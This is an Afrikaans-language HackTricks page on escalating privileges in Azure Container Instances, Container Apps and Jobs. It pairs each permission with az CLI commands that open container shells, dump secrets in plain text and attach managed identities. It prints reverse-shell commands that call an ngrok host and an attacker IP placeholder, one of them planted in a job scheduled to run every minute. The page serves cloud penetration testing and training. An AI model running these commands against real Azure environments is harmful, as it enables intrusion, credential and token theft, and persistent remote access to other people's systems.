# Az - Azure Container Instances, Apps & Jobs Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Azure Container Instances, Apps & Jobs

Vir meer inligting, kyk:

{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}

## ACI

### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`

Hierdie toestemmings laat die gebruiker toe om **'n opdrag uit te voer** in 'n lopende houer. Dit kan gebruik word om **privileges te verhoog** in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.

Om 'n shell te kry is so eenvoudig soos:
```bash
az container exec --name <container-name> --resource-group <res-group>  --exec-command '/bin/sh'
```
Dit is ook moontlik om **die uitvoer** van die houer te lees met:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Of kry die logs met:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Hierdie toestemmings laat toe om **'n gebruikersbestuurde identiteit** aan 'n houergroep te koppel. Dit is baie nuttig om voorregte in die houer te verhoog.

Om 'n gebruikersbestuurde identiteit aan 'n houergroep te koppel:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Hierdie toestemmings laat toe om **'n container groep te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die container te verhoog.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Boonop, dit is ook moontlik om 'n bestaande houergroep op te dateer deur byvoorbeeld die **`--command-line` argument** met 'n omgekeerde skulp toe te voeg.

## ACA

### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`

Hierdie toestemmings laat die gebruiker toe om **'n skulp te kry** in 'n lopende toepassingshouer. Dit kan gebruik word om **privileges te verhoog** in die houer as dit enige bestuurde identiteit het. Natuurlik is dit ook moontlik om toegang te verkry tot die bronkode en enige ander sensitiewe inligting wat binne die houer gestoor is.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>

```
### `Microsoft.App/containerApps/listSecrets/action`

Hierdie toestemming laat toe om die **duidelike teks van die geheime** wat binne 'n houer-app gekonfigureer is, te verkry. Let daarop dat geheime gekonfigureer kan word met die duidelike teks of met 'n skakel na 'n sleutelkluis (in so 'n geval sal die app 'n bestuurde identiteit toegeken hê met toegang tot die geheime).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

Hierdie toestemmings laat toe om **'n gebruikersbestuurde identiteit** aan 'n container-app te koppel. Dit is baie nuttig om voorregte in die container te verhoog. Om hierdie aksie vanaf die az cli uit te voer, vereis dit ook die toestemming `Microsoft.App/containerApps/listSecrets/action`.

Om 'n gebruikersbestuurde identiteit aan 'n container-groep te koppel:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`

Hierdie toestemmings laat toe om **'n toepassingshouer te skep of op te dateer** met 'n **gebruikersbestuurde identiteit** daaraan geheg. Dit is baie nuttig om voorregte in die houer te verhoog.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1

# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Let daarop dat met hierdie toestemmings **ander konfigurasies van die app** gewysig kan word wat dit moontlik kan maak om ander privesc en post-exploitation aanvalle uit te voer, afhangende van die konfigurasie van bestaande apps.

## Jobs

### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`

Alhoewel jobs nie langlopende soos container apps is nie, kan jy die vermoë om die job se opdragkonfigurasie te oorskry wanneer 'n uitvoering begin, benut. Deur 'n pasgemaakte job-sjabloon te skep (byvoorbeeld, die standaardopdrag met 'n reverse shell te vervang), kan jy toegang tot die shell binne die container wat die job uitvoer, verkry.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml

# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the container’s command to:
#  - args:
#      - -c
#      - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
#      command:
#      - /bin/bash
#      image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest

# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml

# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`

As jy hierdie toestemmings het, kan jy al die geheime (eerste toestemming) binne 'n Job-container lys en dan die waardes van die geconfigureerde geheime lees.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`

As jy toestemming het om 'n werk se konfigurasie te wysig, kan jy 'n gebruiker-toegewyde bestuurde identiteit aanheg. Hierdie identiteit mag addisionele voorregte hê (byvoorbeeld, toegang tot ander hulpbronne of geheime) wat misbruik kan word om voorregte binne die houer te eskaleer.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`

As jy 'n nuwe Container Apps Job kan skep (of 'n bestaande een kan opdateer) en 'n bestuurde identiteit kan koppel, kan jy die werk ontwerp om 'n payload uit te voer wat privaathede eskaleer. Byvoorbeeld, jy kan 'n nuwe werk skep wat nie net 'n omgekeerde shell uitvoer nie, maar ook die bestuurde identiteit se akrediteeringe gebruik om tokens aan te vra of toegang tot ander hulpbronne te verkry.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Hierdie opdrag sal 'n fout gooi as jy nie die `Microsoft.App/jobs/read` toestemming het nie, alhoewel die Werk geskep sal word.

### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`

Dit lyk of dit met hierdie toestemmings moontlik moet wees om 'n werk te begin. Dit kan gebruik word om 'n werk met 'n omgekeerde shell of enige ander kwaadwillige opdrag te begin sonder om die konfigurasie van die werk te moet wysig.

Ek het nie daarin geslaag om dit te laat werk nie, maar volgens die toegelate parameters behoort dit moontlik te wees.

### Microsoft.ContainerInstance/containerGroups/restart/action

Laat toe om 'n spesifieke houergroep binne Azure Container Instances te herbegin.
```bash
az container restart --resource-group <resource-group> --name <container-instances>
```
{{#include ../../../banners/hacktricks-training.md}}
